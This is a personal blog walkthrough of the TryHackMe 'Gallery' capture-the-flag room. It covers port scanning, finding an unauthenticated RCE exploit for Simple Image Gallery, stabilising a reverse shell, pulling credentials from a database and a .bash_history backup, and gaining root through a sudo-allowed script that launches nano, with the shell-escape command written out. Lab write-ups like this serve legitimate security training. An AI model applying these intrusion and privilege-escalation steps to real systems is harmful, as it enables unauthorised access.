Hi, my name is Vitalii Rudnykh 👋

Jun 19, 2022

📝 TryHackMe. Walkthrough: Gallery


Task 1.

How many ports are open?

$ nmap -A 10.10.240.133
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Answer: *


What’s the name of the CMS?

On the :8080 port is the gallery. That’s where the title is.

Answer: S****e ****e *****ry


What’s the hash password of the admin user?

$ searchsploit Simple Image Gallery
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vulnerabiliti | php/webapps/49064.txt
Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross- | php/webapps/44104.txt
Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)          | php/webapps/50214.py
Simple Image Gallery System 1.0 - 'id' SQL Injection                              | php/webapps/50198.txt
---------------------------------------------------------------------------------- ---------------------------------

$ searchsploit -m 50214
  Exploit: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/50214
     Path: /usr/local/opt/exploitdb/share/exploitdb/exploits/php/webapps/50214.py
File Type: Python script text executable, Unicode text, UTF-8 text, with very long lines (816)

pic 1

Run the exploit, call the reverse shell and stabilize it:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
press CTRL+Z to background the shell and also run the command on attacker machine
stty raw -echo ; fg
reset
[ This commands will give us a fully functional shell ]

Find the file with credentials for the database.

Next, upload adminer.php for a convenient connection (or you can use the terminal) and find the table users.

pic 2

Answer: ****************79***be5********


What’s the user flag?

Exploring the file system, we find a backup of the home directory of the user mike. In the file .bash_history we find the password. We try to log in as a user.

After we have logged in as user mike, all we have to do is to go into the directory /home/mike/ and read the file with the flag.


Task 2.

What’s the root flag?

See what we have in sudo.

mike@gallery:/$ sudo --list
User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

Let’s read rootkit.sh.

mike@gallery:/$ cat /opt/rootkit.sh
cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

Run sudo /bin/bash /opt/rootkit.sh select the read option and get out of nano into the shell:

^R^X
reset; sh 1>&0 2>&0

Answer: T*M{************3adfa6b8b************de87}